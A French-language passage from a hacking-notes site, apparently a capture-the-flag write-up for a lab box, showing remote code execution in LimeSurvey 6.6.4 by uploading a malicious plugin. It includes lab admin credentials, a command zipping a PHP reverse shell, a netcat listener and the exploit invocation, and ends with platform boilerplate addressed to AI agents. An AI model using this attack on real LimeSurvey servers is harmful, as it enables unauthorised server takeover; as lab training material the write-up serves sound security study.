> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/limesurvey-cms-exploitation.md).

# LimeSurvey

## Vulnérabilité du CMS LimeSurvey

{% embed url="<https://nasirli.medium.com/limesurvey-6-6-4-rce-0a54c2c09c5e>" %}

<figure><img src="/files/0b76f1a368b6bf071f9b6ec5df54894f707db43b" alt=""><figcaption></figcaption></figure>

#### Accès à la zone d'administration

L'interface d'administration est disponible à l'URL suivante :

`http://take-survey.heal.htb/index.php/admin`

Connectez-vous avec les identifiants de Ralph :

* **Nom d'utilisateur** : `ralph`
* **Mot de passe** : `147258369`

<figure><img src="/files/8774ca42d70d2369ebe0127bb89fe9ddc47bb448" alt=""><figcaption></figcaption></figure>

La version de LimeSurvey est **6.6.4**, qui est vulnérable à **Exécution de code à distance (RCE)**.

<figure><img src="/files/ebaaa441f2fcabdfdff68664f90c409d1b7cbf52" alt="" width="563"><figcaption></figcaption></figure>

### Exploitation RCE via une extension malveillante

{% embed url="<https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE>" %}

Adaptez le script d'exploitation au contexte cible.

<figure><img src="/files/ff39553772808a0c64f52c1e2283fde66cde9f11" alt=""><figcaption></figcaption></figure>

Tout d'abord, créez une archive contenant `config.xml` et un shell inversé PHP :

```bash
zip -r N4s1rl1.zip config.xml revshell.php
```

<figure><img src="/files/0b8a4bf8824710cfcca0e935349efc513727af41" alt=""><figcaption></figcaption></figure>

Ensuite, installez le plugin malveillant via l'interface Web de LimeSurvey.

<figure><img src="/files/57e74f2ebf801a118a3ddaec1aaaeddaab153285" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0b4d84c050a59bb9627291b180d1372a06e5924b" alt="" width="501"><figcaption></figcaption></figure>

Survolez le plugin installé pour identifier l'ID du plugin.

<figure><img src="/files/8cc69539f6e5288ae38b4eaac7dcfd257b8ee71c" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/b731f1497f4d187e57bfa80e5efb6962331dab13" alt="" width="563"><figcaption></figcaption></figure>

Après avoir mis à jour le script avec cet ID, lancez un listener sur le port 443 :

```bash
nc -nlvp 443
```

Enfin, exécutez l'exploit avec Python :

```bash
python3 exploit.py http://take-survey.heal.htb ralph 147258369 80
```

<figure><img src="/files/2b9d6da0c641fc6c9b9e8c013dfdd030ba1a9b9f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/cms/limesurvey-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
